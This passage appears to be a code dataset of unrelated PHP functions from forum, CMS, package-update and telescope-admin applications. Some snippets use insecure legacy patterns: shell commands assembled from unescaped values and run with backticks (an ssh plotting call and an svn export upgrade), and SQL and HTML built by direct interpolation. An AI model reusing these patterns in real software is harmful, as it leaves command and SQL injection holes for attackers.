color: green;'>UP TO DATE</span>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$latest_text = \"<span style='font-weight: bold; color: red;'>UNKNOWN</span>\";\n\t\t\t}\n\t\t\t\n\t\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array( \"<div align='center'>Your copy of (FSY23) Universal Mod Installer is $latest_text!</div>\" ) );\n\t\t\t\n\t\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_table();\n\t\t}\n\t\t\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_standalone_row( \"(FSY23) Universal Mod Installer v{$this->umi_ver}, by <a href='http://www.invisionmodding.com/' target='_blank'>Invision Modding</a>, &copy; \".date(\"Y\"), 'center', 'tablefooter' );\n\t\t\n\t\t//-----------------------------------------\n\t\t// All done, output it!\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->ipsclass->admin->output();\n\t}", "function check_packages() {\n global $xoopsDB, $xoopsModuleConfig, $xoopsConfig;\n $res = $xoopsDB->query(\"SELECT p1.*, p2.vcheck dirname, p2.pversion ppversion FROM \".UPDATE_PKG.\" p1 LEFT JOIN \".UPDATE_PKG.\" p2 ON p1.parent=p2.pkgid WHERE p1.pversion='HEAD' ORDER BY p1.vcheck\");\n $pkgs = get_packages('all', false);\n echo \"<div class='adminnavi'>\"._AM_CHECK_LIST.\"</div>\\n\";\n echo \"<table cellspacing='1' class='outer'>\\n\";\n echo \"<tr><th>\"._AM_PKG_PNAME.\"</th><th>\"._AM_PKG_CURRENT.\"</th><th>\".\n\t_AM_PKG_DIRNAME.\"</th><th>\"._AM_PKG_NEW.\"</th><th>\".\n\t_AM_PKG_DTIME.\"</th><th>\"._AM_CHANGES.\"</th><th>\".\n\t_AM_MODIFYS.\"</th><th></th></tr>\\n\";\n $n = 0;\n $update = false;\t// find update package?\n $modify = false;\n $errors = array();\n $module_handler =& xoops_gethandler('module');\n while ($data = $xoopsDB->fetchArray($res)) {\n\t$pname = $data['pname'];\n\t$dirname = $data['vcheck'];\t// real dirname\n\t$pdir = empty($data['dirname'])?$dirname:$data['dirname'];\n\t$bg = $n++%2?'even':'odd';\n\t$id = $data['pkgid'];\n\t$newpkg = isset($pkgs[$pdir])?$pkgs[$pdir]:array();\n\tif (empty($newpkg)) {\n\t foreach ($pkgs as $pkg) {\t// find by name\n\t\tif ($pname == $pkg['pname']) {\n\t\t $newpkg = $pkg;\n\t\t break;\n\t\t}\n\t }\n\t}\n\t$newver = isset($newpkg['pversion'])?$newpkg['pversion']:'';\n\t$curver = get_current_version($pname, $dirname);\n\t$modver = $curver[1];\t// version string (0: normalize, 1: raw)\n\tif (empty($data['parent']) ||\n\t !in_array($data['ppversion'], $curver)) {\n\n\t $par = import_new_package($pname, $modver, $pdir);\n\t if (empty($par)) {\n\t\t$errors[] = \"$pname $modver: \"._AM_PKG_NOTFOUND;\n\t } else {\n\t\t$pid = $data['parent'] = $par->getVar('pkgid');\n\t\t$pnm = $data['name'] = $par->getVar('name');\n\t\t$ctm = $data['ctime'] = time();\n\t\t$data['ppversion'] = $par->getVar('pversion');\n\t\t$xoopsDB->queryF(\"UPDATE \".UPDATE_PKG.\" SET parent=$pid, name=\".$xoopsDB->quoteString($pnm).\", mtime=0, ctime=$ctm WHERE pkgid=$id\");\n\t }\n\t}\n\tif (!empty($data['ppversion'])) {\n\t $pversion = $data['ppversion'];\n\t $past = time()-$data['mtime'];\n\t if ($past>$xoopsModuleConfig['cache_time']) {\n\t\t$pkg = new InstallPackage($data);\n\t\t$pkg->load();\n\t\t$count = count($pkg->checkFiles());\n\t\tif (!$count) $xoopsDB->queryF(\"UPDATE \".UPDATE_PKG.\" SET mtime=\".time().\" WHERE pkgid=\".$id);\n\t } else {\n\t\t$count = 0;\n\t }\n\t $opt = \"&pkgid=$id\";\n\t if (!$count) $opt .= \"&view=yes\";\n\t $op = \"<a href='index.php?op=detail$opt'><img src='\".XOOPS_URL.\"/images/icons/edit.png' alt='\".($count?_AM_MODIFY:_AM_DETAIL).\"' title='\".($count?_AM_MODIFY:_AM_DETAIL).\"' /></a>\";\n\t} else {\t\t// no manifesto\n\t $pversion = \"\";\n\t $op = \"\";\n\t $count = 0;\n\t}\n\tif ($count) $modify = true;\n\tif (!empty($newpkg)) {\n\t $newver = $newpkg['pversion'];\n\t $newdate = formatTimestamp($newpkg['dtime'], \"m\");\n\t} else {\n\t $newver = '-';\n\t $newdate = '-';\n\t}\n\t$mcount = count_modify_files($data['pkgid']);\n\tif ($pversion != $newver) {\n\t $bg = 'up';\n\t $uppkg = import_new_package($pname, $newver);\n\t if ($uppkg) {\n\t\t$pid = $uppkg->getVar('pkgid');\n\t\t$newver = \"<a href='index.php?op=detail&pkgid=$id&new=$pid&view=yes'>\".htmlspecialchars($newver).\"</a>\";\n\t\t$update = true;\n\t }\n\t} else {\n\t $newver = htmlspecialchars($newver);\n\t}\n\n\tif ($count) $bg = 'fix';\n\n\t// check module update\n\t$vers = htmlspecialchars($modver);\n\tif (!empty($dirname)) {\n\t $module = $module_handler->getByDirname($dirname);\n\t if (is_object($module)) { // installed?\n\t\t$mver = $module->getVar(\"version\")/100;\n\t\tif (!in_array($mver, $curver)) {\n\t\t $url = get_system_url(\"ModuleUpdate\", $dirname);\n\t\t $vers = \"<a href='$url' title='\"._AM_PKG_NEEDUPDATE.\"'>$vers ($mver)</a>\";\n\t\t}\n\t } else {\n\t\t$url = get_system_url(\"ModuleInstall\", $dirname);\n\t\t$vers = \"<a href='$url' title='\"._AM_PKG_NOTINSTALL.\"'>$vers (-)</span>\";\n\t }\n\t}\n\techo \"<tr class='$bg'><td><a href='index.php?op=opts&pkgid=$id'>\".\n\t htmlspecialchars($pname).\"</a></td><td>\".\n\t $vers.\"</td><td align='center'>$dirname</td><td align='center'>\".$newver.\n\t \"</td><td align='center'>$newdate</td><td align='right'>$count</td><td align='right'>$mcount</td><td align='center'>$op</td></tr>\\n\";\n }\n echo \"</table>\\n\";\n if ($update && !$modify) {\n\techo \"<table cellpadding='5'>\n<tr>\n <td><a href='pack.php?op=backup'>\"._AM_UPDATE_BACKUP.\"</a></td>\n <td><a href='pack.php?op=update'>\"._AM_UPDATE_ARCHIVE.\"</a></td>\n <td>\";\n\tif (preg_match('/^Yes/', mysystem(\"check\"))) {\n\t echo \"\n <form action='pack.php?op=exec' method='post'>\n <input type='submit' value='\"._AM_UPDATE_SUBMIT.\"'>\n </form>\";\n\t}\n\techo \"\n </td>\n</tr>\n</table>\\n\";\n }\n $rollback = ROLLBACK;\n if (file_exists($rollback)) {\n\t$ctime = filectime($rollback);\n\t$expire = $ctime+$xoopsModuleConfig['cache_time'];\n\tif ($expire < time()) unlink($rollback);\n\telse {\n\t $tm = _AM_UPDATE_TIME.' '.formatTimestamp($ctime, 'm');\n\t $until = _AM_UPDATE_EXPIRE.' '.formatTimestamp($expire, 'H:i');\n\techo \"<table cellpadding='5'>\n <tr><td>\n <form action='index.php?op=rollback' method='post'>\n <input type='submit' value='\"._AM_UPDATE_ROLLBACK.\"'></form></td>\n <td>$tm ($until)</td></tr>\n</table>\\n\";\n\t}\n }\n if ($errors) {\n\techo \"<br/><div class='errorMsg'>\\n\";\n\tforeach ($errors as $msg) {\n\t echo \"$msg<br/>\\n\";\n\t}\n\techo \"</div>\\n\";\n }\n}", "function sf_render_version_strip()\r\n{\r\n\r\n\t$site = SF_PLUGIN_URL.\"/forum/ahah/sf-ahahacknowledge.php\";\r\n\t$out = '<br /><div id=\"sfversion\">&copy; '.SFPLUGHOME;\r\n\t$out.= '&nbsp;&nbsp;<a href=\"'.$site.'\" onclick=\"return hs.htmlExpand(this, { objectType: \\'ajax\\', preserveContent: true, reflow: true, width: 650} )\"><img class=\"sficon\" src=\"'.SFRESOURCES.'information.png\" alt=\"\" title=\"'.__(\"acknowledgements\", \"sforum\").'\" /></a>';\r\n\r\n\t$out.= '</div><br />'.\"\\n\";\r\n\treturn $out;\r\n}", "public function add_system_status_report() {\n\n\t\tinclude( wc_customer_order_csv_export()->get_plugin_path() . '/includes/admin/views/html-system-status-table.php' );\n\t}", "function display_result_details($branch, $what='all', $html=false)\n{\n\tglobal $db;\n\n\tif ($html) $etag = check_send_etag($branch, $what);\n\n\t$select = $db->prepare(\"SELECT results.*,scripts.label AS script_label,scripts.details AS script_details,suites.label AS suite_label,\nbranch.label AS branch_label,\nCOALESCE(success.label,success) AS success_revision,\nCOALESCE(failed.label,failed) AS failed_revision,\nCOALESCE(first_failed.label,first_failed) AS first_failed_revision\nFROM results\nJOIN labels AS branch ON results.branch=branch.id AND branch.details='***branch***'\nJOIN labels AS scripts ON results.script=scripts.id\nJOIN labels AS suites ON results.suite=suites.id\nLEFT JOIN labels AS success ON results.success=success.id AND success.details='***revision***'\nLEFT JOIN labels AS failed ON results.failed=failed.id AND failed.details='***revision***'\nLEFT JOIN labels AS first_failed ON results.first_failed=first_failed.id AND first_failed.details='***revision***'\nWHERE branch=:branch\".limit_script_sql($what).'\nORDER BY script,suite,test');\n\t$select->setFetchMode(PDO::FETCH_ASSOC);\n\tif ($select->execute(array(\n\t\t'branch' => label2id($branch),\n\t)))\n\t{\n\t\tif ($html)\n\t\t{\n\t\t\techo \"<table class='details' data-etag='\".htmlspecialchars($etag).\"'>\\n\";\n\t\t\techo \"<tr class='header'><th class='expandAll'></th><th>Script</th><th>Suite</th><th>Test</th><th>Branch</th>\".\n\t\t\t\t\"<th>Last success</th><th>Failed</th><th>First failed</th><th>Time</th><th title='Notes' class='notes'>N</th></tr>\\n\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo \"Script\\t\\t\\tSuite\\t\\t\\tTest\\tBranch\\tLast success\\tFailed\\tFirst failed\\tTime\\n\\n\";\n\t\t}\n\t\tforeach($select as $result)\n\t\t{\n\t\t\t$result['time'] = isset($result['time']) ? number_format($result['time'], 2, '.', '') : '';\n\t\t\t$description = get_test_description($result['script_label'], $result['suite_label'], $result['test']);\n\t\t\tif (!$html)\n\t\t\t{\n\t\t\t\techo \"\\n$result[script_label]\\t$result[suite_label]\\t\".\n\t\t\t\t\t$result['test'].(!empty($description) ? ': '.$description : '').\"\\t\".\n\t\t\t\t\t\"$result[branch_label]\\t$result[success_revision]\\t\".\n\t\t\t\t\t\"$result[failed_revision]\\t$result[first_failed_revision]\\t$result[time]\\n\";\n\t\t\t\tif (!empty($result['details'])) echo \"$result[details]\\n\";\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif (!empty($result['failed']))\n\t\t\t{\n\t\t\t\techo '<tr class=\"red\">';\n\t\t\t}\n\t\t\telseif (!empty($result['success']))\n\t\t\t{\n\t\t\t\techo '<tr class=\"green\">';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo '<tr class=\"ignored\">';\n\t\t\t}\n\t\t\tif (!empty($result['details']) || !empty($result['protocol']))\n\t\t\t{\n\t\t\t\techo '<td class=\"expand\">';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo '<td>';\n\t\t\t}\n\n\t\t\techo \"</td><td class='script'>\".htmlspecialchars($result['script_label']).\n\t\t\t\t\"</td><td>\".htmlspecialchars($result['suite_label']).\n\t\t\t\t\"</td><td>\".htmlspecialchars($result['test']).(!empty($description) ? ': '.htmlspecialchars($description) : '').\n\t\t\t\t\"</td><td>\".htmlspecialchars($result['branch_label']).\n\t\t\t\t\"</td><td class='revision'>\".htmlspecialchars($result['success_revision']).\n\t\t\t\t\"</td><td class='revision'>\".htmlspecialchars($result['failed_revision']).\n\t\t\t\t\"</td><td class='revision'>\".htmlspecialchars($result['first_failed_revision']).\n\t\t\t\t\"</td><td class='time' title='\".htmlspecialchars($result['updated']).\"'>\".htmlspecialchars($result['time']).\n\t\t\t\t\"</td><td class='\".(empty($result['notes']) ? 'noNotes' : 'haveNotes').\"'>\".\n\t\t\t\t\"</td></tr>\\n\";\n\n\t\t\tif (!empty($result['details']) || !empty($result['protocol']))\n\t\t\t{\n\t\t\t\techo '<tr style=\"display:none\" class=\"details\"><td></td><td colspan=\"8\" class=\"output\">'.htmlspecialchars($result['details']).htmlspecialchars($result['protocol']).\"</td></tr>\\n\";\n\t\t\t}\n\t\t\techo '<tr style=\"display:none\" class=\"notes\" id=\"'.htmlspecialchars($result['branch'].'-'.$result['script'].'-'.$result['suite'].'-'.$result['test']).\n\t\t\t\t'\"><td/><td colspan=\"7\"><textarea class=\"notes\">'.htmlspecialchars($result['notes']).\"</textarea></td>\".\n\t\t\t\t\"<td colspan='2' class='updateNotes'><button>Update</button></tr>\\n\";\n\t\t}\n\t}\n}", "function mainPull()\n {\n x_echoFlush('<pre>');\n x_EchoFlush('<h2>Looking For Andromeda Version</h2>');\n x_EchoFlush(\"\");\n\n // First take care of where we are pulling version\n // information from\n $def = \"http://andro.svn.sourceforge.net/svnroot/andro/releases/\";\n $row = SQL_OneRow(\n \"Select * from applications where application='andro'\"\n );\n if (!isset($row['svn_url'])) {\n x_EchoFlush(\"-- This looks like the first time this node has\");\n x_EchoFlush(\" been upgraded from Subversion. Using default\");\n x_echoFlush(\" URL to look for releases:\");\n x_EchoFlush(\" \".$def);\n $url = $def;\n } else {\n if (is_null($row['svn_url']) || trim($row['svn_url'])=='') {\n x_EchoFlush(\"-- Setting the Subversion URL to default:\");\n x_EchoFlush(\" \".$def);\n $url = $def;\n $row['svn_url'] = $def;\n SQLX_Update('applications', $row);\n } else {\n $url = trim($row['svn_url']);\n x_EchoFlush(\"-- Using the following URL for Subversion:\");\n x_EchoFlush(\" \".$url);\n }\n }\n\n // Find out what the latest version is\n x_EchoFlush(\"\");\n x_EchoFlush(\"-- Querying for latest version...\");\n $command = 'svn list '.$url;\n x_EchoFlush(\" Command is: \".$command);\n $rawtext = `$command`;\n if ($rawtext=='') {\n x_EchoFlush(\"-- NO VERSIONS RETRIEVED!\");\n x_EchoFlush(\" It may be that the Sourceforge site is down?\");\n x_EchoFlush(\"\");\n x_echoFlush(\" ---- Stopped Unexpectedly --- \");\n return;\n }\n $rawtext = str_replace(\"\\r\", \"\", $rawtext);\n $lines = explode(\"\\n\", $rawtext);\n // Pop off empty entry at end, then get latest version\n array_pop($lines);\n $latest=array_pop($lines);\n if (substr($latest, -1)=='/') {\n $latest = substr($latest, 0, strlen($latest)-1);\n }\n\n x_EchoFlush(\" Latest published version: \".$latest);\n\n // now find out what version we have\n x_EchoFlush(\" \");\n x_EchoFlush(\"-- Finding out what version the node manager is at\");\n $file=$GLOBALS['AG']['dirs']['application'].'_andro_version_.txt';\n x_EchoFlush(\" Looking at file: $file\");\n if (!file_exists($file)) {\n x_EchoFlush(\" File not found, it appears this is the first time\");\n x_EchoFlush(\" this node has been upgraded this way. Will proceed\");\n x_EchoFlush(\" to get latest version.\");\n } else {\n $version = file_get_contents($file);\n x_EchoFlush(\" Current version is \".$version);\n \n if ($version == $latest) {\n x_echoFlush(\" This node is current! Nothing to do!\");\n x_EchoFlush(\"\");\n x_echoFlush(\" ---- Processing completed normally ---- \");\n return;\n } else {\n x_echoFlush(\" Newer version available, will get latest.\");\n }\n }\n \n // now get the latest code\n $dir = $GLOBALS['AG']['dirs']['root'];\n $command = 'svn export --force '.$url.$latest.' '.$dir;\n x_EchoFlush(\"\");\n x_EchoFlush(\"-- Overwriting Node Manager now\");\n x_echoFlush(\" Command is \".$command);\n `$command`;\n x_echoFlush(\"\");\n file_put_contents($file, $latest);\n x_EchoFlush(\" ---- Processing completed normally ---- \");\n\n }", "function plugin_tb_output_htmllist($tb_id)\n{\n\tpkwk_common_headers();\n\techo 'This function had been removed now. It will be created soon.<br />' . \"\\n\";\n\techo 'Sorry for your inconvenience.';\n\texit;\n\n\t// ----\n\t// Skeleton Logic\n\n\tglobal $script;\n\tglobal $_tb_date;\n\n\t$page = tb_id2page($tb_id);\n\tif ($page === FALSE) return FALSE;\n\n\t$data = tb_get(tb_get_filename($page));\n\n\t// Sort: The first is the latest\n\tusort($data, create_function('$a,$b', 'return $b[0] - $a[0];'));\n\n\t$tb_body = '';\n\tforeach ($data as $x) {\n\t\tif (count($x) != 5) continue; // Ignore incorrect record\n\n\t\tlist ($time, $url, $title, $excerpt, $blog_name) = $x;\n\t\tif ($title == '') $title = 'no title';\n\n\t\t$time = date($_tb_date, $time + LOCALZONE); // May 2, 2003 11:25 AM\n\t\t$tb_body .= <<<EOD\nEOD;\n\t}\n\n\t// Output start\n\tpkwk_common_headers();\n\n\t// BugTrack/466 Care for MSIE trouble\n\t// Logically correct, but MSIE will treat the data like 'file downloading'\n\t//header('Content-type: application/xhtml+xml; charset=UTF-8');\n\theader('Content-type: text/html; charset=UTF-8'); // Works well\n\n\t$meta_content_type = pkwk_output_dtd(PKWK_DTD_XHTML_1_0_TRANSITIONAL, 'UTF-8');\n\t$msg = <<<EOD\n<head>\n $meta_content_type\n</head>\n<body>\n $script?tb_id=$tb_id<br /><br />\n $tb_body\n</body>\n</html>\nEOD;\n\techo mb_convert_encoding($msg, 'UTF-8', SOURCE_ENCODING);\n\texit;\n}", "public function testAction() {\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t/*$uri = \"$_SERVER[REQUEST_URI]\";\n\t\t\t$arr = explode('/', $uri );\n\t\t\t\n\t\t$path = \"$_SERVER[HTTP_HOST]\" . '/' . $arr[1] . '/';\n\t\t\n\t\techo \"<br/>Test Path: http://$path\";*/\n\t\t\n\t\t// Create directory, with full permissions\n\t\t//mkdir(\"NewDir\", \"0777\");\n\t\t// Rename\n\t\t//rename(\"newDir\", \"renameDir\");\n\t\n\t\t/*\n\t\t\t$indicesServer = array('PHP_SELF',\n\t\t\t\t\t'argv',\n\t\t\t\t\t'argc',\n\t\t\t\t\t'GATEWAY_INTERFACE',\n\t\t\t\t\t'SERVER_ADDR',\n\t\t\t\t\t'SERVER_NAME',\n\t\t\t\t\t'SERVER_SOFTWARE',\n\t\t\t\t\t'SERVER_PROTOCOL',\n\t\t\t\t\t'REQUEST_METHOD',\n\t\t\t\t\t'REQUEST_TIME',\n\t\t\t\t\t'REQUEST_TIME_FLOAT',\n\t\t\t\t\t'QUERY_STRING',\n\t\t\t\t\t'DOCUMENT_ROOT',\n\t\t\t\t\t'HTTP_ACCEPT',\n\t\t\t\t\t'HTTP_ACCEPT_CHARSET',\n\t\t\t\t\t'HTTP_ACCEPT_ENCODING',\n\t\t\t\t\t'HTTP_ACCEPT_LANGUAGE',\n\t\t\t\t\t'HTTP_CONNECTION',\n\t\t\t\t\t'HTTP_HOST',\n\t\t\t\t\t'HTTP_REFERER',\n\t\t\t\t\t'HTTP_USER_AGENT',\n\t\t\t\t\t'HTTPS',\n\t\t\t\t\t'REMOTE_ADDR',\n\t\t\t\t\t'REMOTE_HOST',\n\t\t\t\t\t'REMOTE_PORT',\n\t\t\t\t\t'REMOTE_USER',\n\t\t\t\t\t'REDIRECT_REMOTE_USER',\n\t\t\t\t\t'SCRIPT_FILENAME',\n\t\t\t\t\t'SERVER_ADMIN',\n\t\t\t\t\t'SERVER_PORT',\n\t\t\t\t\t'SERVER_SIGNATURE',\n\t\t\t\t\t'PATH_TRANSLATED',\n\t\t\t\t\t'SCRIPT_NAME',\n\t\t\t\t\t'REQUEST_URI',\n\t\t\t\t\t'PHP_AUTH_DIGEST',\n\t\t\t\t\t'PHP_AUTH_USER',\n\t\t\t\t\t'PHP_AUTH_PW',\n\t\t\t\t\t'AUTH_TYPE',\n\t\t\t\t\t'PATH_INFO',\n\t\t\t\t\t'ORIG_PATH_INFO') ;\n\t\n\t\techo \"<br/>\";\n\t\n\t\n\t\techo '<table cellpadding=\"10\">' ;\n\t\tforeach ($indicesServer as $arg) {\n\t\tif (isset($_SERVER[$arg])) {\n\t\techo '<tr><td>'.$arg.'</td><td>' . $_SERVER[$arg] . '</td></tr>' ;\n\t\t}\n\t\telse {\n\t\techo '<tr><td>'.$arg.'</td><td>-</td></tr>' ;\n\t\t}\n\t\t}\n\t\techo '</table>' ;\n\t\t*/\n\t}", "function printHTML()\n {\n\n $keys = array_keys($this->fields);\n\n $this->openBlockHeader(\"CASPSR Admin\");\n?>\n\n <table width=\"100%\">\n<?\n \n echo \" <tr>\\n\";\n echo \" <th>Host</th>\\n\";\n echo \" <th>RAC</th>\\n\";\n echo \" <th>OMSA</th>\\n\";\n for ($i=0; $i<count($keys); $i++) \n {\n $k = $keys[$i];\n echo \" <th>\".$this->fields[$k].\"</th>\\n\";\n }\n echo \" </tr>\\n\";\n\n for ($i=0; $i<count($this->dells); $i++) \n {\n echo \" <tr>\\n\";\n echo \" <td>\".$this->dells[$i].\"</td>\\n\";\n if ($this->rac_links[$this->dells[$i]] != \"\")\n echo \" <td><a href='\".$this->rac_links[$this->dells[$i]].\"'>link</a></td>\\n\";\n else\n echo \" <td></td>\\n\";\n if ($this->omsa_links[$this->dells[$i]] != \"\")\n echo \" <td><a href='\".$this->omsa_links[$this->dells[$i]].\"'>link</a></td>\\n\";\n else\n echo \" <td></td>\\n\";\n\n for ($j=0; $j<count($keys); $j++) \n {\n echo \" <td id='\".$this->dells[$i].\"_\".$keys[$j].\"'></td>\\n\";\n }\n echo\" </tr>\\n\";\n }\n\n for ($i=0; $i<count($this->gpus); $i++) \n {\n echo \" <tr>\\n\";\n echo \" <td>\".$this->gpus[$i].\"</td>\\n\";\n if ($this->rac_links[$this->gpus[$i]] != \"\")\n echo \" <td><a href='\".$this->rac_links[$this->gpus[$i]].\"'>link</a></td>\\n\";\n else\n echo \" <td></td>\\n\";\n if ($this->omsa_links[$this->gpus[$i]] != \"\")\n echo \" <td><a href='\".$this->omsa_links[$this->gpus[$i]].\"'>link</a></td>\\n\";\n else\n echo \" <td></td>\\n\";\n\n for ($j=0; $j<count($keys); $j++) \n {\n echo \" <td id='\".$this->gpus[$i].\"_\".$keys[$j].\"'></td>\\n\";\n }\n echo\" </tr>\\n\";\n }\n?>\n </table>\n <script type='text/javascript'>\n get_rac_info();\n </script>\n<?\n $this->closeBlockHeader();\n \n }", "function printUpdateHTML($get)\n {\n $cfg = $this->inst->config;\n\n # determine which host has this beam\n $host = \"\";\n for ($i=0; (($host == \"\") && ($i<$cfg[\"NUM_PWC\"])); $i++)\n {\n if ($this->inst->roach[\"BEAM_\".$i] == $this->beam)\n {\n $host = $cfg[\"PWC_\".$i];\n }\n }\n\n $fil_file = $cfg[\"CLIENT_ARCHIVE_DIR\"].\"/\".$this->beam.\"/\".$this->utc_start.\"/\".$this->utc_start.\".fil\";\n $plot_cmd = \"trans_freqplus_plot.py \".$fil_file.\" \".$this->sample.\" \".$this->dm.\" \".$this->filter.\" \".$this->snr;\n if ($this->nchan != \"\")\n $plot_cmd .= \" -nchan \".$this->nchan;\n if ($this->nbin != \"\")\n $plot_cmd .= \" -nbin \".$this->nbin;\n if ($this->length != \"\")\n $plot_cmd .= \" -length \".$this->length;\n if ($this->dedisperse != \"0\")\n $plot_cmd .= \" -dedisperse\";\n $cmd = \"ssh -o BatchMode=yes -x \".$cfg[\"USER\"].\"@\".$host.\" '\".$plot_cmd.\"'\";\n $img_data = `$cmd`;\n\n header('Content-Type: image/png');\n header('Content-Disposition: inline; filename=\"image.png\"');\n echo $img_data;\n }", "function main() {\n\t\t$content = '';\n\t\t$objectManager = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::makeInstance('TYPO3\\\\CMS\\\\Extbase\\\\Object\\\\ObjectManager');\n\n\t\t/** @var ClassCacheManager $classCacheManager */\n\t\t$classCacheManager = $objectManager->get('SJBR\\\\StaticInfoTables\\\\Cache\\\\ClassCacheManager');\n\t\t$classCacheManager->reBuild();\n\n\t\t/** @var DatabaseUpdateUtility $databaseUpdateUtility */\n\t\t$databaseUpdateUtility = $objectManager->get('SJBR\\\\StaticInfoTables\\\\Utility\\\\DatabaseUpdateUtility');\n\t\t$databaseUpdateUtility->doUpdate('static_info_tables_zh');\n\n\t\t$content .= '<p>' . \\TYPO3\\CMS\\Extbase\\Utility\\LocalizationUtility::translate('updateLanguageLabels', 'StaticInfoTables', ['static_info_tables_zh']) . '.</p>';\n\t\treturn $content;\n\t}", "protected function compile()\n\t{\n#\t\t$objArchive = new \\ZipWriter('system/tmp/'. $strTmp);\n\t\tif(\\Input::Get('download') && FE_USER_LOGGED_IN)\n\t\t{\n\t\t\t$objDownload = $this->Database->prepare(\"SELECT * FROM tl_download_item WHERE id=?\")->execute(\\Input::Get('download'));\n\t\t\t$objFile = \\FilesModel::findByUuid($objDownload->fileSRC);\n\n\t\t\t$this->sendFileToBrowser($objFile->path);\n\t\t}\n\n\t\t$objPage = \\PageModel::findById($GLOBALS['objPage']->id);\n\t\t$strUrl = $this->generateFrontendUrl($objPage->row(), '/download/%s');\n\n\t\t$objCategory = $this->Database->prepare(\"SELECT * FROM tl_download_category WHERE alias=?\")->execute(\\Input::Get('category'));\n\t\t$objArchiv = $this->Database->prepare(\"SELECT * FROM tl_download_archiv WHERE id=?\")->execute($objCategory->pid);\n\n\t\t$objData = $this->Database->prepare(\"SELECT * FROM tl_download_item WHERE pid=? && published=1 ORDER BY sorting ASC\")->execute($objCategory->id);\n\t\twhile($objData->next())\n\t\t{\n\t\t\t$objItem = (object) $objData->row();\n\n#\t\t\t$objItem->archiv = $objArchiv->title;\n#\n#\t\t\tif($objCategory->singleSRC)\n#\t\t\t{\n#\t\t\t\t$objItem->archivIcon = \\FilesModel::findByUuid($objCategory->singleSRC)->path;\n#\t\t\t}\n#\n#\t\t\t$objItem->category = $objCategory->title;\n#\t\t\t$objItem->singleSRC = deserialize($objItem->singleSRC);\n#\n#\t\t\t$arrImages = array();\n#\t\t\tif(is_array($objItem->singleSRC))\n#\t\t\t{\n#\t\t\t\tforeach($objItem->singleSRC as $image)\n#\t\t\t\t{\n#\t\t\t\t\t$arrImages[] = (object) array\n#\t\t\t\t\t(\n#\t\t\t\t\t\t'css' => '',\n#\t\t\t\t\t\t'path' => \\FilesModel::findByUuid($image)->path\n#\t\t\t\t\t);\n#\t\t\t\t}\n#\n#\t\t\t\t$arrImages[0]->css = 'first';\n#\t\t\t}\n#\n#\n#\t\t\tif(FE_USER_LOGGED_IN)\n#\t\t\t{\n#\t\t\t\t$objItem->url = sprintf($strUrl, $objItem->id);\n#\t\t\t\t$objItem->css = 'active';\n#\t\t\t\t$objItem->preview = $arrImages;\n#\t\t\t}\n#\t\t\telse\n#\t\t\t{\n#\t\t\t\t$objItem->css = 'inactive';\n#\t\t\t\t$objItem->preview = array($arrImages[0]);\n#\n#\t\t\t}\n\n\t\t\t$arrData[] = $objItem;\n\t\t}\n\n#\t\tif(!count($arrDaata)) { $arrData = array(); }\n\n\t\t$this->Template->items = $arrData;\n\t}", "public function htmlOutput()\n {\n $arrayOfLattes = glob('template/*.latte');\n if ($arrayOfLattes === false) {\n return 'No templates found.';\n }\n $found = []; // translations found in latte templates\n foreach ($arrayOfLattes as $file) {\n $tempFileContents = file_get_contents($file);\n Assert::string($tempFileContents);\n preg_match_all('~\\{=(\"([^\"]+)\"|\\'([^\\']+)\\')\\|translate\\}~i', $tempFileContents, $matches);\n $found = array_merge($found, $matches[2]);\n }\n $found = array_unique($found);\n $output = '<h1><i class=\"fa fa-globe\"></i> ' . $this->tableAdmin->translate('Translations')\n . '</h1><div id=\"agenda-translations\">'\n . '<form action=\"\" method=\"post\" onsubmit=\"return confirm(\\''\n . $this->tableAdmin->translate('Are you sure?') . '\\')\">'\n . Tools::htmlInput('translations', '', 1, array('type' => 'hidden'))\n . Tools::htmlInput('token', '', end($_SESSION['token']), 'hidden')\n . Tools::htmlInput('old_name', '', '', array('type' => 'hidden', 'id' => 'old_name'))\n . '<table class=\"table table-striped\"><thead><tr><th style=\"width:'\n . intval(100 / (count($this->tableAdmin->TRANSLATIONS) + 1)) . '%\">'\n . Tools::htmlInput('one', '', false, 'radio') . '</th>';\n $translations = $keys = [];\n $localisation = new L10n($this->prefixUiL10n, $this->tableAdmin->TRANSLATIONS);\n foreach ($this->tableAdmin->TRANSLATIONS as $key => $value) {\n $output .= \"<th>$value</th>\";\n $translations[$key] = $localisation->readLocalisation($key);\n $keys = array_merge($keys, array_keys($translations[$key]));\n }\n $output .= '</tr></thead><tbody>' . PHP_EOL;\n $keys = array_unique($keys);\n natcasesort($keys);\n foreach ($keys as $key) {\n $output .= '<tr><th>'\n . Tools::htmlInput('one', '', $key, array('type' => 'radio', 'class' => 'translation')) . ' '\n . Tools::h((string) $key) . '</th>';\n foreach ($this->tableAdmin->TRANSLATIONS as $code => $value) {\n $output .= '<td>' . Tools::htmlInput(\n \"tr[$code][$key]\",\n '',\n Tools::set($translations[$code][$key], ''),\n ['class' => 'form-control form-control-sm', 'title' => \"$code: $key\"]\n ) . '</td>';\n }\n $output .= '</tr>' . PHP_EOL;\n if ($key = array_search($key, $found)) {\n unset($found[$key]);\n }\n }\n $output .= '<tr><td>' . Tools::htmlInput(\n 'new[0]',\n '',\n '',\n ['class' => 'form-control form-control-sm', 'title' => $this->tableAdmin->translate('New record')]\n ) . '</td>';\n foreach ($this->tableAdmin->TRANSLATIONS as $key => $value) {\n $output .= '<td>' . Tools::htmlInput(\n \"new[$key]\",\n '',\n '',\n ['class' => 'form-control form-control-sm',\n 'title' => $this->tableAdmin->translate('New record') . ' (' . $value . ')']\n ) . '</td>';\n }\n $output .= '</tr></tbody></table>\n <button name=\"translations\" type=\"submit\" class=\"btn btn-secondary\"><i class=\"fa fa-save\"></i> '\n . $this->tableAdmin->translate('Save') . '</button>\n <button name=\"delete\" type=\"submit\" class=\"btn btn-secondary\" value=\"1\"><i class=\"fa fa-dot-circle\"></i>\n <i class=\"fa fa-trash\"></i> ' . $this->tableAdmin->translate('Delete') . '</button>\n <fieldset class=\"d-inline-block position-relative\"><div 